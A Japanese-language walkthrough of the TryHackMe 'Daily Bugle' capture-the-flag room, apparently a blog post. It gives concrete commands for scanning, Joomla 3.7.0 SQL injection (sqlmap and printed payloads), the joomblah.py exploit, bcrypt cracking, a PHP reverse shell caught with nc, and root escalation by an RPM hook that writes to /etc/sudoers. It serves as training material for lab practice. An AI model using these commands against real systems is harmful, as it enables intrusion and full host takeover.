今回はTryHackMeのDaily Bugleを攻略していきます。
スキャニング
まずはnmapでスキャニングから。
$ nmap -sC -sV -A 10.10.145.183
SSH、HTTP、DBのポートが空いています。
Webアプリケーションの調査
HTTPが空いているのでブラウザからWebアプリケーションを確認してみます。
特に有効な情報はありませんでした。
今度は gobuster でWebサイトのページやディレクトリを調査してみます。
$ gobuster -u http://10.10.145.183/ -w /usr/share/wordlists/dirb/common.txt dir
いくつかのページやディレクトリが見つかりました。
気になるところを調査していきます。
/administrator/
をブラウザで確認してみます。
認証画面が出ました。また Joolma
というCMSを使っていることもわかりました。
ソフトウェアバージョンの調査
ソフトウェア名がわかったので、今度はバージョンを調査していきます。
ブラウザ上の画面、ソースコードともに確認してみましたが、バージョン情報は見つかりませんでした。
ぐぐってみると、簡単にJoomlaのバージョンを確認する方法が見つかりました。
/language/en-GB/en-GB.xml
を使った方法で確認してみます。
ブラウザから下記URLにアクセスします。
http://10.10.76.176/language/en-GB/en-GB.xml
<version>3.7.0</version>
とバージョンが見つかりました!
脆弱性と認証情報の調査
これで Joomla
というソフトウェア名でバージョンが 3.7.0
ということがわかりました。よって脆弱性を探してみます。まずは Metasploit を使ってみます。
$ msfconsole
searchコマンドで検索してみます。
そうすると1つだけエクスプロイトが見つかりました。
msf6 > search Joomla 3.7.0
エクスプロイトを選択して、Module option を確認します。
ターゲットホスト(RHOSTS)を設定して、攻撃開始します。
set RHOSTS 10.10.76.176
run
Errorが出て、うまくいきませんでした。
別の方法を探ってみます。
searchsploit
と同様に検索してみます。
$ searchsploit Joomla 3.7
いくつかヒットしましたね。バージョンが 3.7.0 となっている php/webapps/42033.txt
を見ていくことにします。ファイルをダウンロードします。
$ searchsploit -m php/webapps/42033.txt
ファイルの中身を確認。
$ cat 42033.txt
# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917
URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
Parameter: list[fullordering] (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (DUAL)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)
SQLmapのサンプルがあります。これを使ってみます。
Using Sqlmap:
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
SQLmapを実行します。
$ sqlmap -u "http://10.10.76.176/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
実行してみましたが10分以上経過しても終わりません。TryHackmeを確認すると、Pythonスクリプトについて書かれています。
JoomlaのPythonスクリプトをググってみます。
そうするとエクスプロイトで joomblah.py
が見つかりました。
これを使ってみることにします。
スクリプトをダウンロードして実行するだけです。
$ wget https://raw.githubusercontent.com/stefanlucas/Exploit-Joomla/master/joomblah.py
$ python joomblah.py http://10.10.76.176/
ユーザ名、メールアドレス、パスワードハッシュが見つかりました。
項目名 | 値 |
---|---|
ユーザ名 | jonah |
メールアドレス | jonah@tryhackme.com |
PWSハッシュ | $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm |
パスワードハッシュの解読を目指していきます。そのためにアルゴリズムが何かを確認します。
$ hash-identifier
アルゴリズムが見つかりませんでした。仕方がないので、このままJohn The Ripperで解読していきます。
$ john --wordlist=/usr/share/wordlists/rockyou.txt daily.hash
アルゴリズムが bcrypt だということがわかりました。一度、キャンセルしてアルゴリズムを指定して再度実行してみます。(このまま解析してもよいです。)
—format=bcrypt
オプションを付けて再度実行です。
結果が出るまでにおよそ13分かかりましたが、パスワードハッシュが解読できました。
PHPリバースシェルでの侵入
ユーザ名とパスワードがわかったのでこれを Joomla の管理画面で試してみます。
ログインできました。いくつかのページを確認すると、この管理画面からコンテンツを作成することができそうです。リバースシェルのコードを使用して、リバースシェルでの侵入を狙っていきます。
Extensions → Templates → Templates に移動します。
現在使用しているテーマをクリックします。
index.php
をクリックするとファイルの内容が右側に表示されます。
PHPのリバースシェルコードを index.php の先頭に貼り付けます。
PHPのリバースシェルコードはなんでもよいですが、私はこれをよく使用しています。
貼り付けた後、環境に合わせて IPアドレスとポート番号を変更します。
IPは ip a
コマンドで確認できます。
ターミナルで待ち受けポートを作成します。
$ nc -lvnp 1234
これでリバースシェルの準備が整いました。
ブラウザで Joomlaの管理画面トップにアクセスします。
http://xx.xx.xx.xx/administrator/index.php
上手くいくと待ち受けポートでシェルが起動して侵入できます。
操作しやすいように少し設定をします。
-
python -c 'import pty; pty.spawn("/bin/bash")'
を実行 -
CTRL + z
で現在のプロセスをバックグラウンドへ -
stty raw -echo
を実行 -
fg + Enter
でバックグラウンドに移動したプロセスをフォアグラウンドへ -
export TERM=XTERM
を実行
各コマンドの解説
-
import pty
:ptyモジュールをインポートします。ptyモジュールは、Pseudo TTYを操作するための関数を提供します。 -
pty.spawn("/bin/bash")
:/bin/bashシェルを実行します。これにより、新しいシェルセッションが開始されます。 -
CTRL+Z
:現在のプロセスをバックグラウンドに移動します。 -
stty raw -echo
:シェルの入力と出力を制御するためのコマンドです。stty rawは、入力を行ごとにバッファリングせずに直接送信するようにします。stty -echoは、入力された文字を表示しないようにします。 -
fg + ENTER
:バックグラウンドに移動したプロセスをフォアグラウンドに戻します。 -
export TERM=XTERM
:環境変数TERMにXTERMを設定します。これにより、シェルがXTERM互換のターミナルエミュレータとして動作するようになります。
yumとsudoを使った権限昇格
侵入できたので権限昇格のための情報収集をします。
sudo は使えそうにありません。
crontab も確認したましたが、何も設定はありません。
jjamesonというユーザがあり、パスワードがわかればスイッチできそうです。
ドキュメントルートである /var/www/html/ へ移動し、Joomlaの設定ファイルを見ています。
そうすると $password = 'nv5uz9r3ZEDzVjNu';
が見つかりました。
パスワードを使いまわしている可能性があるため、jjamesonにスイッチするときのパスワードとして使ってみます。
$ su jjameson
そうするとjjamesonユーザにスイッチすることができました。
また sudo -l を確認していきます。
そうするとyumコマンドが使えることがありました。
GTFOBinsで yumを検索します。
そうすると下記のエクスプロイトが見つかります。
これは攻撃コードを含んだrpmパッケージを作成して、インストールすることで攻撃コードを実行させるという手法です。
fpmとrpmbuildが必要なため、そのための環境構築ができてない場合はこちらを参考に環境を作って下さい。
ターミナルで別タブを開いて、まずは攻撃コードとなるシェルスクリプトを作成します。
今回はjjamesonユーザでsudoですべてのコマンドを使えるようにします。
$ echo 'echo "jjameson ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh
rpmパッケージを作成します。
$ fpm -n x -s dir -t rpm -a all --before-install sudo.sh .
作成したrpmパッケージを攻撃対象マシンからダウンロードできるように簡易的なWebサーバを起動します。
$ sudo python3 -m http.server 80
侵入済みのターミナルに戻って作成したrpmパッケージを攻撃対象マシンにダウンロードします。
ダウンロードしたrpmパッケージをインストールします。
インストールすることで作成したシェルスクリプト(sudo.sh)が実行されます。
上手くいくとsudo su
コマンドを実行することでroot権限がとれます。